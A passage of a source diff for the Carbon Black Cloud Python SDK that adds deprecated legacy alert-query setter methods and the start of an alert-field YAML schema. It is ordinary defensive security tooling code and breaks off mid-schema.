PURPOSE. + +"""Model and Query Classes for Legacy Alerts and Workflows used Alert API v6 and SDK 1.4.3 or earlier""" + +from cbc_sdk.errors import ApiError, FunctionalityDecommissioned +from cbc_sdk.platform.devices import DeviceSearchQuery +from cbc_sdk.base import CriteriaBuilderSupportMixin +import logging + +log = logging.getLogger(__name__) + +ALERT_VALID_REPUTATIONS = [ + "ADAPTIVE_WHITE_LIST", + "COMMON_WHITE_LIST", + "COMPANY_BLACK_LIST", + "COMPANY_WHITE_LIST", + "PUP", + "TRUSTED_WHITE_LIST", + "RESOLVING", + "COMPROMISED_OBSOLETE", + "DLP_OBSOLETE", + "IGNORE", + "ADWARE", + "HEURISTIC", + "SUSPECT_MALWARE", + "KNOWN_MALWARE", + "ADMIN_RESTRICT_OBSOLETE", + "NOT_LISTED", + "GRAY_OBSOLETE", + "NOT_COMPANY_WHITE_OBSOLETE", + "LOCAL_WHITE", + "NOT_SUPPORTED" +] +ALERT_VALID_ALERT_TYPES = ["CB_ANALYTICS", "DEVICE_CONTROL", "WATCHLIST", "CONTAINER_RUNTIME"] +ALERT_VALID_WORKFLOW_VALS = ["OPEN", "DISMISSED"] +ALERT_VALID_FACET_FIELDS = ["ALERT_TYPE", "CATEGORY", "REPUTATION", "WORKFLOW", "TAG", "POLICY_ID", + "POLICY_NAME", "DEVICE_ID", "DEVICE_NAME", "APPLICATION_HASH", + "APPLICATION_NAME", "STATUS", "RUN_STATE", "POLICY_APPLIED_STATE", + "POLICY_APPLIED", "SENSOR_ACTION"] +CB_ANALYTICS_VALID_LOCATIONS = ["ONSITE", "OFFSITE", "UNKNOWN"] +CB_ANALYTICS_VALID_POLICY_APPLIED = ["APPLIED", "NOT_APPLIED"] +CB_ANALYTICS_VALID_RUN_STATES = ["DID_NOT_RUN", "RAN", "UNKNOWN"] +CB_ANALYTICS_VALID_SENSOR_ACTIONS = ["POLICY_NOT_APPLIED", "ALLOW", "ALLOW_AND_LOG", "TERMINATE", "DENY"] + + +class LegacyAlertSearchQueryCriterionMixin(CriteriaBuilderSupportMixin): + """Represents a legacy alert, based on Alert API v6 or SDK 1.4.3 or earlier.""" + + def set_categories(self, categories): + """ + The field `categories` was deprecated and not included in v7. This method has been removed. + + In Alerts v7, only records with the type THREAT are returned. + Records that in v6 had the category MONITORED (Observed) are now Observations + See `Developer Network Alerts v6 Migration + `_ + for more details. + + Args: + categories (list): List of categories to be restricted to. + + Raises: + FunctionalityDecommissioned: If the requested attribute is no longer available. + """ + raise FunctionalityDecommissioned("set_categories method does not exist in in SDK v1.5.0 " + "because category is not a valid field on Alert v7 API. The") + + def set_create_time(self, *args, **kwargs): + """ + Restricts the alerts that this query is performed on to the specified creation time. + + The time may either be specified as a start and end point or as a range. + In SDK 1.5.0 to align with Alerts v7 API, create_time is set as time_range outside of criteria. + + Deprecated: + Use `add_time_criteria(field_name, start, end, range)` instead. + + Args: + *args (list): Not used. + **kwargs (dict): Used to specify start= for start time, end= for end time, and range= for range. + + Returns: + AlertSearchQuery: This instance. + """ + if kwargs.get("start", None) and kwargs.get("end", None): + if kwargs.get("range", None): + raise ApiError("cannot specify range= in addition to start= and end=") + stime = kwargs["start"] + if not isinstance(stime, str): + stime = stime.strftime("%Y-%m-%dT%H:%M:%S.%fZ") + etime = kwargs["end"] + if not isinstance(etime, str): + etime = etime.strftime("%Y-%m-%dT%H:%M:%S.%fZ") + self.set_time_range(start=stime, end=etime) + elif kwargs.get("range", None): + if kwargs.get("start", None) or kwargs.get("end", None): + raise ApiError("cannot specify start= or end= in addition to range=") + self.set_time_range(range=kwargs["range"]) + else: + raise ApiError("must specify either start= and end= or range=") + return self + + def set_device_ids(self, device_ids): + """ + Restricts the alerts that this query is performed on to the specified device IDs. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + device_ids (list): List of integer device IDs. + + Returns: + AlertSearchQuery: This instance. + """ + if not all(isinstance(device_id, int) for device_id in device_ids): + raise ApiError("One or more invalid device IDs") + self._update_criteria("device_id", device_ids) + return self + + def set_device_names(self, device_names): + """ + Restricts the alerts that this query is performed on to the specified device names. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + device_names (list): List of string device names. + + Returns: + AlertSearchQuery: This instance. + """ + if not all(isinstance(n, str) for n in device_names): + raise ApiError("One or more invalid device names") + self._update_criteria("device_name", device_names) + return self + + def set_device_os(self, device_os): + """ + Restricts the alerts that this query is performed on to the specified device operating systems. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + device_os (list): List of string operating systems. Valid values are "WINDOWS", "ANDROID", + "MAC", "IOS", "LINUX", and "OTHER." + + Returns: + AlertSearchQuery: This instance. + """ + if not all((osval in DeviceSearchQuery.VALID_OS) for osval in device_os): + raise ApiError("One or more invalid operating systems") + self._update_criteria("device_os", device_os) + return self + + def set_device_os_versions(self, device_os_versions): + """ + Restricts the alerts that this query is performed on to the specified device operating system versions. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + device_os_versions (list): List of string operating system versions. + + Returns: + AlertSearchQuery: This instance. + """ + if not all(isinstance(n, str) for n in device_os_versions): + raise ApiError("One or more invalid device OS versions") + self._update_criteria("device_os_version", device_os_versions) + return self + + def set_device_username(self, users): + """ + Restricts the alerts that this query is performed on to the specified user names. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + users (list): List of string user names. + + Returns: + AlertSearchQuery: This instance. + """ + if not all(isinstance(u, str) for u in users): + raise ApiError("One or more invalid user names") + self._update_criteria("device_username", users) + return self + + def set_group_results(self, do_group): + """ + The field `group_results` was deprecated and not included in v7. This method has been removed. + + It previously specified whether to group the results of the query. + Use the `Grouped Alerts Operations + `_ + #grouped-alerts-operations) instead. + See `Developer Network Alerts v6 Migration + `_ + for more details. + + Args: + do_group (bool): True to group the results, False to not do so. + + Raises: + FunctionalityDecommissioned: If the requested attribute is no longer available. + """ + raise FunctionalityDecommissioned("set_group_results method does not exist in in SDK v1.5.0 " + "because group_result is not a valid field on Alert v7 API. The") + + def set_alert_ids(self, alert_ids): + """ + Restricts the alerts that this query is performed on to the specified alert IDs. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + alert_ids (list): List of string alert IDs. + + Returns: + AlertSearchQuery: This instance. + """ + if not all(isinstance(v, str) for v in alert_ids): + raise ApiError("One or more invalid alert ID values") + self._update_criteria("id", alert_ids) + return self + + def set_legacy_alert_ids(self, alert_ids): + """ + Restricts the alerts that this query is performed on to the specified legacy alert IDs. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + alert_ids (list): List of string legacy alert IDs. + + Returns: + AlertSearchQuery: This instance. + """ + if not all(isinstance(v, str) for v in alert_ids): + raise ApiError("One or more invalid alert ID values") + self._update_criteria("id", alert_ids) + return self + + def set_policy_ids(self, policy_ids): + """ + Restricts the alerts that this query is performed on to the specified policy IDs. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + policy_ids (list): List of integer policy IDs. + + Returns: + AlertSearchQuery: This instance. + """ + if not all(isinstance(policy_id, int) for policy_id in policy_ids): + raise ApiError("One or more invalid policy IDs") + self._update_criteria("device_policy_id", policy_ids) + return self + + def set_policy_names(self, policy_names): + """ + Restricts the alerts that this query is performed on to the specified policy names. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + policy_names (list): List of string policy names. + + Returns: + AlertSearchQuery: This instance. + """ + if not all(isinstance(n, str) for n in policy_names): + raise ApiError("One or more invalid policy names") + self._update_criteria("device_policy", policy_names) + return self + + def set_process_names(self, process_names): + """ + Restricts the alerts that this query is performed on to the specified process names. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + process_names (list): List of string process names. + + Returns: + AlertSearchQuery: This instance. + """ + if not all(isinstance(n, str) for n in process_names): + raise ApiError("One or more invalid process names") + self._update_criteria("process_name", process_names) + return self + + def set_process_sha256(self, shas): + """ + Restricts the alerts that this query is performed on to the specified process SHA-256 hash values. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + shas (list): List of string process SHA-256 hash values. + + Returns: + AlertSearchQuery: This instance. + """ + if not all(isinstance(n, str) for n in shas): + raise ApiError("One or more invalid SHA256 values") + self._update_criteria("process_sha256", shas) + return self + + def set_reputations(self, reps): + """ + Restricts the alerts that this query is performed on to the specified reputation values. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + reps (list): List of string reputation values. Valid values are "KNOWN_MALWARE", "SUSPECT_MALWARE", + "PUP", "NOT_LISTED", "ADAPTIVE_WHITE_LIST", "COMMON_WHITE_LIST", "TRUSTED_WHITE_LIST", + and "COMPANY_BLACK_LIST". + + Returns: + AlertSearchQuery: This instance. + """ + if not all((r in ALERT_VALID_REPUTATIONS) for r in reps): + log.warning("Reputation value not in enumeration. May be valid as enumeration values are extended in " + "Carbon Black Cloud ahead of SDK updates.") + self._update_criteria("process_reputation", reps) + return self + + def set_tags(self, tags): + """ + Restricts the alerts that this query is performed on to the specified tag values. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + tags (list): List of string tag values. + + Returns: + AlertSearchQuery: This instance. + """ + if not all(isinstance(tag, str) for tag in tags): + raise ApiError("One or more invalid tags") + self._update_criteria("tags", tags) + return self + + def set_target_priorities(self, priorities): + """ + Restricts the alerts that this query is performed on to the specified target priority values. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + priorities (list): List of string target priority values. Valid values are "LOW", "MEDIUM", + "HIGH", and "MISSION_CRITICAL". + + Returns: + AlertSearchQuery: This instance. + """ + if not all((prio in DeviceSearchQuery.VALID_PRIORITIES) for prio in priorities): + raise ApiError("One or more invalid priority values") + self._update_criteria("device_target_value", priorities) + return self + + def set_threat_ids(self, threats): + """ + Restricts the alerts that this query is performed on to the specified threat ID values. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + threats (list): List of string threat ID values. + + Returns: + AlertSearchQuery: This instance. + """ + if not all(isinstance(t, str) for t in threats): + raise ApiError("One or more invalid threat ID values") + self._update_criteria("threat_id", threats) + return self + + def set_types(self, alerttypes): + """ + Restricts the alerts that this query is performed on to the specified alert type values. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + alerttypes (list): List of string alert type values. Valid values are "CB_ANALYTICS", + "WATCHLIST", "DEVICE_CONTROL", and "CONTAINER_RUNTIME". In SDK 1.5.0, + to align with Alert API v7, more alert types are available but the `add_criteria` + method must be used. + + Returns: + AlertSearchQuery: This instance. + + Note: - When filtering by fields that take a list parameter, an empty list will be treated as a wildcard and + match everything. + """ + if not all((t in ALERT_VALID_ALERT_TYPES) for t in alerttypes): + raise ApiError("One or more invalid alert type values") + self._update_criteria("type", alerttypes) + return self + + def set_workflows(self, workflow_vals): + """ + Restricts the alerts that this query is performed on to the specified workflow status values. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + workflow_vals (list): List of string alert type values. Valid values are "OPEN" and "DISMISSED". + + Returns: + AlertSearchQuery: This instance. + """ + new_vals = [] + for val in workflow_vals: + if val not in ALERT_VALID_WORKFLOW_VALS: + raise ApiError("One or more invalid workflow status values") + elif val == "DISMISSED": + new_vals.append("CLOSED") + else: + new_vals.append(val) + + self._update_criteria("workflow", new_vals) + return self + + def set_cluster_names(self, names): + """ + Restricts the alerts that this query is performed on to the specified Kubernetes cluster names. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + names (list): List of Kubernetes cluster names to look for. + + Returns: + ContainerRuntimeAlertSearchQuery: This instance. + """ + if not all(isinstance(n, str) for n in names): + raise ApiError("One or more invalid cluster name values") + self._update_criteria("k8s_cluster", names) + return self + + def set_namespaces(self, namespaces): + """ + Restricts the alerts that this query is performed on to the specified Kubernetes namespaces. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + namespaces (list): List of Kubernetes namespaces to look for. + + Returns: + ContainerRuntimeAlertSearchQuery: This instance. + """ + if not all(isinstance(n, str) for n in namespaces): + raise ApiError("One or more invalid namespace values") + self._update_criteria("k8s_namespace", namespaces) + return self + + def set_workload_kinds(self, kinds): + """ + Restricts the alerts that this query is performed on to the specified workload types. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + kinds (list): List of workload types to look for. + + Returns: + ContainerRuntimeAlertSearchQuery: This instance. + """ + if not all(isinstance(n, str) for n in kinds): + raise ApiError("One or more invalid workload kind values") + self._update_criteria("k8s_kind", kinds) + return self + + def set_workload_ids(self, ids): + """ + The field `workload_id` was deprecated and not included in v7. This method has been removed. + + Use workload_name instead. See `Developer Network Alerts v6 Migration + `_ + for more details. + + Args: + ids (list): List of workload IDs to look for. + + Raises: + FunctionalityDecommissioned: If the requested attribute is no longer available. + """ + raise FunctionalityDecommissioned( + "Starting with SDK v1.5.0 workload_id is not a valid field on Alert.") + + def set_workload_names(self, names): + """ + Restricts the alerts that this query is performed on to the specified workload names. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + names (list): List of workload names to look for. + + Returns: + ContainerRuntimeAlertSearchQuery: This instance. + """ + if not all(isinstance(n, str) for n in names): + raise ApiError("One or more invalid workload name values") + self._update_criteria("k8s_workload_name", names) + return self + + def set_replica_ids(self, ids): + """ + Restricts the alerts that this query is performed on to the specified pod names. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + ids (list): List of pod names to look for. + + Returns: + ContainerRuntimeAlertSearchQuery: This instance. + """ + if not all(isinstance(n, str) for n in ids): + raise ApiError("One or more invalid replica ID values") + self._update_criteria("k8s_pod_name", ids) + return self + + def set_remote_ips(self, addrs): + """ + Restricts the alerts that this query is performed on to the specified remote IP addresses. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + addrs (list): List of remote IP addresses to look for. + + Returns: + ContainerRuntimeAlertSearchQuery: This instance. + """ + if not all(isinstance(n, str) for n in addrs): + raise ApiError("One or more invalid remote IP values") + self._update_criteria("netconn_remote_ip", addrs) + return self + + def set_remote_domains(self, domains): + """ + Restricts the alerts that this query is performed on to the specified remote domains. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + domains (list): List of remote domains to look for. + + Returns: + ContainerRuntimeAlertSearchQuery: This instance. + """ + if not all(isinstance(n, str) for n in domains): + raise ApiError("One or more invalid remote domain values") + self._update_criteria("netconn_remote_domain", domains) + return self + + def set_protocols(self, protocols): + """ + Restricts the alerts that this query is performed on to the specified protocols. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + protocols (list): List of protocols to look for. + + Returns: + ContainerRuntimeAlertSearchQuery: This instance. + """ + if not all(isinstance(n, str) for n in protocols): + raise ApiError("One or more invalid protocol values") + self._update_criteria("netconn_protocol", protocols) + return self + + def set_ports(self, ports): + """ + Restricts the alerts that this query is performed on to the specified netconn_local_ports. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Note that in SDK 1.5.0, to align with Alerts API v7, the search field was updated from + `port` to `netconn_local_port`. It is possible to search on either `netconn_local_port` + or `netconn_remote_port` using the `add_criteria(fieldname, [field values]) method. + + Args: + ports (list): List of netconn_local_ports to look for. + + Returns: + ContainerRuntimeAlertSearchQuery: This instance. + """ + if not all(isinstance(n, int) for n in ports): + raise ApiError("One or more invalid port values") + self._update_criteria("netconn_local_port", ports) + return self + + def set_egress_group_ids(self, ids): + """ + Restricts the alerts that this query is performed on to the specified egress group IDs. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + ids (list): List of egress group IDs to look for. + + Returns: + ContainerRuntimeAlertSearchQuery: This instance. + """ + if not all(isinstance(n, str) for n in ids): + raise ApiError("One or more invalid egress group ID values") + self._update_criteria("egress_group_id", ids) + return self + + def set_egress_group_names(self, names): + """ + Restricts the alerts that this query is performed on to the specified egress group names. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + names (list): List of egress group names to look for. + + Returns: + ContainerRuntimeAlertSearchQuery: This instance. + """ + if not all(isinstance(n, str) for n in names): + raise ApiError("One or more invalid egress group name values") + self._update_criteria("egress_group_name", names) + return self + + def set_ip_reputations(self, reputations): + """ + Restricts the alerts that this query is performed on to the specified IP reputation values. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + reputations (list): List of IP reputation values to look for. + + Returns: + ContainerRuntimeAlertSearchQuery: This instance. + """ + if not all(isinstance(n, int) for n in reputations): + raise ApiError("One or more invalid IP reputation values") + self._update_criteria("ip_reputation", reputations) + return self + + def set_rule_ids(self, ids): + """ + Restricts the alerts that this query is performed on to the specified Kubernetes policy rule IDs. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + In SDK prior to 1.5.0 this was only supported for Container Runtime Alerts so will + convert to k8s_rule_id in criteria. In SDK 1.5.0 and later, aligned to Alert v7 API, use add_criteria() + should be used for both k8s_rule_id and for other alert types, rule_id. + + Args: + ids (list): List of Kubernetes policy rule IDs to look for. + + Returns: + ContainerRuntimeAlertSearchQuery: This instance. + """ + if not all(isinstance(n, str) for n in ids): + raise ApiError("One or more invalid rule ID values") + self._update_criteria("k8s_rule_id", ids) + return self + + def set_rule_names(self, names): + """ + Restricts the alerts that this query is performed on to the specified Kubernetes policy rule names. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + names (list): List of Kubernetes policy rule names to look for. + + Returns: + ContainerRuntimeAlertSearchQuery: This instance. + """ + if not all(isinstance(n, str) for n in names): + raise ApiError("One or more invalid rule name values") + self._update_criteria("k8s_rule", names) + return self + + def set_watchlist_ids(self, ids): + """ + Restricts the alerts that this query is performed on to the specified watchlist ID values. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + ids (list): List of string watchlist ID values. + + Returns: + WatchlistAlertSearchQuery: This instance. + """ + if not all(isinstance(t, str) for t in ids): + raise ApiError("One or more invalid watchlist IDs") + self._update_criteria("watchlist_id", ids) + return self + + def set_watchlist_names(self, names): + """ + Restricts the alerts that this query is performed on to the specified watchlist name values. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + names (list): List of string watchlist name values. + + Returns: + WatchlistAlertSearchQuery: This instance. + """ + if not all(isinstance(name, str) for name in names): + raise ApiError("One or more invalid watchlist names") + self._update_criteria("watchlist_name", names) + return self + + def set_blocked_threat_categories(self, categories): + """ + The field `blocked_threat_category` was deprecated and not included in v7. This method has been removed. + + See `Developer Network Alerts v6 Migration + `_ + for more details. + + Args: + categories (list): List of threat categories to look for. + + Raises: + FunctionalityDecommissioned: If the requested attribute is no longer available. + """ + raise FunctionalityDecommissioned("set_blocked_threat_categories method does not exist in in SDK v1.5.0 " + "because blocked_threat_category is not a valid field on Alert v7 API. The") + + def set_device_locations(self, locations): + """ + Restricts the alerts that this query is performed on to the specified device locations. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + locations (list): List of device locations to look for. Valid values are "ONSITE", "OFFSITE", + and "UNKNOWN". + + Returns: + CBAnalyticsAlertSearchQuery: This instance. + """ + if not all((location in CB_ANALYTICS_VALID_LOCATIONS) + for location in locations): + raise ApiError("One or more invalid device locations") + self._update_criteria("device_location", locations) + return self + + def set_kill_chain_statuses(self, statuses): + """ + The field `kill_chain_status` was deprecated and not included in v7. This method has been removed. + + See `Developer Network Alerts v6 Migration + `_ + for more details. + + Args: + statuses (list): List of kill chain statuses to look for. + + Raises: + FunctionalityDecommissioned: If the requested attribute is no longer available. + """ + raise FunctionalityDecommissioned("set_kill_chain_statuses method does not exist in in SDK v1.5.0 because " + "kill_chain_status is not a valid field on Alert v7 API. The") + + def set_not_blocked_threat_categories(self, categories): + """ + The field `not_blocked_threat_category` was deprecated and not included in v7. This method has been removed. + + See `Developer Network Alerts v6 Migration + `_ + for more details. + + Args: + categories (list): List of threat categories to look for. + + Raises: + FunctionalityDecommissioned: If the requested attribute is no longer available. + """ + raise FunctionalityDecommissioned("set_not_blocked_threat_categories method does not exist in in SDK v1.5.0 " + "because not_blocked_threat_category is not a valid field on Alert v7 API." + " The") + + def set_policy_applied(self, applied_statuses): + """ + Restricts the alerts that this query is performed on to the specified policy status values. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + applied_statuses (list): List of status values to look for. Valid values are "APPLIED" and "NOT_APPLIED". + + Returns: + CBAnalyticsAlertSearchQuery: This instance. + """ + if not all((s in CB_ANALYTICS_VALID_POLICY_APPLIED) + for s in applied_statuses): + raise ApiError("One or more invalid policy-applied values") + self._update_criteria("policy_applied", applied_statuses) + return self + + def set_reason_code(self, reason): + """ + Restricts the alerts that this query is performed on to the specified reason codes (enum values). + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + reason (list): List of string reason codes to look for. + + Returns: + CBAnalyticsAlertSearchQuery: This instance. + """ + if not all(isinstance(t, str) for t in reason): + raise ApiError("One or more invalid reason code values") + self._update_criteria("reason_code", reason) + return self + + def set_run_states(self, states): + """ + Restricts the alerts that this query is performed on to the specified run states. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + states (list): List of run states to look for. Valid values are "DID_NOT_RUN", "RAN", and "UNKNOWN". + + Returns: + CBAnalyticsAlertSearchQuery: This instance. + """ + if not all((s in CB_ANALYTICS_VALID_RUN_STATES) + for s in states): + raise ApiError("One or more invalid run states") + self._update_criteria("run_state", states) + return self + + def set_sensor_actions(self, actions): + """ + Restricts the alerts that this query is performed on to the specified sensor actions. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + actions (list): List of sensor actions to look for. Valid values are "POLICY_NOT_APPLIED", "ALLOW", + "ALLOW_AND_LOG", "TERMINATE", and "DENY". + + Returns: + CBAnalyticsAlertSearchQuery: This instance. + """ + if not all((action in CB_ANALYTICS_VALID_SENSOR_ACTIONS) + for action in actions): + raise ApiError("One or more invalid sensor actions") + self._update_criteria("sensor_action", actions) + return self + + def set_threat_cause_vectors(self, vectors): + """ + The field `threat_cause_vector` was deprecated and not included in v7. This method has been removed. + + See `Developer Network Alerts v6 Migration + `_ + for more details. + + Args: + vectors (list): List of threat cause vectors to look for. + + Raises: + FunctionalityDecommissioned: If the requested attribute is no longer available. + """ + raise FunctionalityDecommissioned("set_threat_cause_vectors method does not exist in in SDK v1.5.0 " + "because threat_cause_vector is not a valid field on Alert v7 API. The") + + def set_external_device_friendly_names(self, names): + """ + Restricts the alerts that this query is performed on to the specified external device friendly names. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + names (list): List of external device friendly names to look for. + + Returns: + DeviceControlAlertSearchQuery: This instance. + """ + if not all(isinstance(n, str) for n in names): + raise ApiError("One or more invalid device name values") + self._update_criteria("external_device_friendly_name", names) + return self + + def set_external_device_ids(self, ids): + """ + Restricts the alerts that this query is performed on to the specified external device IDs. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + ids (list): List of external device IDs to look for. + + Returns: + DeviceControlAlertSearchQuery: This instance. + """ + if not all(isinstance(n, str) for n in ids): + raise ApiError("One or more invalid device ID values") + self._update_criteria("device_id", ids) + return self + + def set_product_ids(self, ids): + """ + Restricts the alerts that this query is performed on to the specified product IDs. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + ids (list): List of product IDs to look for. + + Returns: + DeviceControlAlertSearchQuery: This instance. + """ + if not all(isinstance(n, str) for n in ids): + raise ApiError("One or more invalid product ID values") + self._update_criteria("product_id", ids) + return self + + def set_product_names(self, names): + """ + Restricts the alerts that this query is performed on to the specified product names. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + names (list): List of product names to look for. + + Returns: + DeviceControlAlertSearchQuery: This instance. + """ + if not all(isinstance(n, str) for n in names): + raise ApiError("One or more invalid product name values") + self._update_criteria("product_name", names) + return self + + def set_serial_numbers(self, serial_numbers): + """ + Restricts the alerts that this query is performed on to the specified serial numbers. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + serial_numbers (list): List of serial numbers to look for. + + Returns: + DeviceControlAlertSearchQuery: This instance. + """ + if not all(isinstance(n, str) for n in serial_numbers): + raise ApiError("One or more invalid serial number values") + self._update_criteria("serial_number", serial_numbers) + return self + + def set_vendor_ids(self, ids): + """ + Restricts the alerts that this query is performed on to the specified vendor IDs. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + ids (list): List of vendor IDs to look for. + + Returns: + DeviceControlAlertSearchQuery: This instance. + """ + if not all(isinstance(n, str) for n in ids): + raise ApiError("One or more invalid vendor ID values") + self._update_criteria("vendor_id", ids) + return self + + def set_vendor_names(self, names): + """ + Restricts the alerts that this query is performed on to the specified vendor names. + + Deprecated: + Use `add_criteria(field_name, [field_value])` instead. + + Args: + names (list): List of vendor names to look for. + + Returns: + DeviceControlAlertSearchQuery: This instance. + """ + if not all(isinstance(n, str) for n in names): + raise ApiError("One or more invalid vendor name values") + self._update_criteria("vendor_name", names) + return self diff --git a/src/cbc_sdk/platform/models/alert.yaml b/src/cbc_sdk/platform/models/alert.yaml new file mode 100644 index 000000000..619ca1c96 --- /dev/null +++ b/src/cbc_sdk/platform/models/alert.yaml @@ -0,0 +1,683 @@ +type: object +properties: + additional_events_present: + type: boolean + description: Indicator to let API and forwarder users know that they should look up other associated events related to this alert + alert_notes_present: + type: boolean + description: True if notes are present on the alert ID. False if notes are not present. + alert_url: + type: string + description: Link to the alerts page for this alert. Does not vary by alert type + attack_tactic: + type: string + description: A tactic from the MITRE ATT&CK framework; defines a reason for an adversary’s action, such as achieving credential access + attack_technique: + type: string + description: A technique from the MITRE ATT&CK framework; defines an action an adversary takes to accomplish a goal, such as dumping credentials to achieve credential access + backend_timestamp: + type: string + format: date-time + description: Timestamp when the Carbon Black Cloud processed and enabled the alert for searching. Corresponds to the Created column on the Alerts page. + backend_update_timestamp: + type: string + format: date-time + description: Timestamp when the Carbon Black Cloud initiated and processed an update to an alert. Corresponds to the Updated column on the Alerts page. Note that changes made by users do not change this date; those changes are reflected on `user_update_timestamp` + blocked_effective_reputation: + type: string + enum: + - ADAPTIVE_WHITE_LIST + - COMMON_WHITE_LIST + - COMPANY_BLACK_LIST + - COMPANY_WHITE_LIST + - PUP + - TRUSTED_WHITE_LIST + - RESOLVING + - COMPROMISED_OBSOLETE + - DLP_OBSOLETE + - IGNORE + - ADWARE + - HEURISTIC + - SUSPECT_MALWARE + - KNOWN_MALWARE + - ADMIN_RESTRICT_OBSOLETE + - NOT_LISTED + - GRAY_OBSOLETE + - NOT_COMPANY_WHITE_OBSOLETE + - LOCAL_WHITE + - NOT_SUPPORTED + description: Effective reputation of the blocked file or process; applied by the sensor at the time the block occurred + blocked_md5: + type: string + description: MD5 hash of the child process binary; for any process terminated by the sensor + blocked_name: + type: string + description: Tokenized file path of the files blocked by sensor action + blocked_sha256: + type: string + description: SHA-256 hash of the child process binary; for any process terminated by the sensor + category: + type: string + description: Alert category - Monitored vs Threat + enum: + - THREAT + - MONITORED + - INFO + - MINOR + - SERIOUS + - CRITICAL + childproc_cmdline: + type: string + description: Command line for the child process + childproc_effective_reputation: + type: string + enum: + - ADAPTIVE_WHITE_LIST + - COMMON_WHITE_LIST + - COMPANY_BLACK_LIST + - COMPANY_WHITE_LIST + - PUP + - TRUSTED_WHITE_LIST + - RESOLVING + - COMPROMISED_OBSOLETE + - DLP_OBSOLETE + - IGNORE + - ADWARE + - HEURISTIC + - SUSPECT_MALWARE + - KNOWN_MALWARE + - ADMIN_RESTRICT_OBSOLETE + - NOT_LISTED + - GRAY_OBSOLETE + - NOT_COMPANY_WHITE_OBSOLETE + - LOCAL_WHITE + - NOT_SUPPORTED + description: Effective reputation of the child process; applied by the sensor at the time the event occurred + childproc_guid: + type: string + description: Unique process identifier assigned to the child process + childproc_md5: + type: string + description: Hash of the child process' binary (Enterprise EDR) + childproc_name: + type: string + description: Filesystem path of the child process' binary + childproc_sha256: + type: string + description: Hash of the child process' binary (Endpoint Standard) + childproc_username: + type: string + description: User context in which the child process was executed + connection_type: + type: string + enum: + - INTERNAL_INBOUND + - INTERNAL_OUTBOUND + - INGRESS + - EGRESS + description: Connection Type + detection_timestamp: + type: string + format: date-time + description: For sensor-sent alerts, this is the time of the event on the sensor. For alerts generated on the backend, this is the time the backend system triggered the alert. + determination: + description: User-updatable determination of the alert + type: object + properties: + change_timestamp: + type: string + format: date-time + description: When the determination was updated. + changed_by: + type: string + description: User the determination was changed by. + changed_by_type: + type: string + description: + enum: + - SYSTEM + - USER + - API + - AUTOMATION + value: + type: string + description: Determination of the alert set by a user + enum: + - NONE + - TRUE_POSITIVE + - FALSE_POSITIVE + device_external_ip: + type: string + description: IP address of the endpoint according to the Carbon Black Cloud; can differ from device_internal_ip due to network proxy or NAT; either IPv4 (dotted decimal notation) or IPv6 (proprietary format) + device_id: + type: integer + format: int64 + description: ID of devices + device_internal_ip: + type: string + description: IP address of the endpoint reported by the sensor; either IPv4 (dotted decimal notation) or IPv6 (proprietary format) + device_location: + type: string + enum: + - ONSITE + - OFFSITE + - UNKNOWN + description: Whether the device was on or off premises when the alert started, based on the current IP address and the device’s registered DNS domain suffix + device_name: + type: string + description: Device name + device_os: + type: string + enum: + - WINDOWS + - ANDROID + - MAC + - LINUX + - OTHER + description: Device Operating Systems + device_os_version: + type: string + example: Windows 10 x64 + description: The operating system and version of the endpoint. Requires Windows CBC sensor version 3.5 or later. + device_policy: + type: string + description: Device policy + device_policy_id: + type: integer + format: int64 + description: Device policy id + device_target_value: + type: string + enum: + - LOW + - MEDIUM + - HIGH + - MISSION_CRITICAL + description: Target value assigned to the device, set from the policy + device_uem_id: + 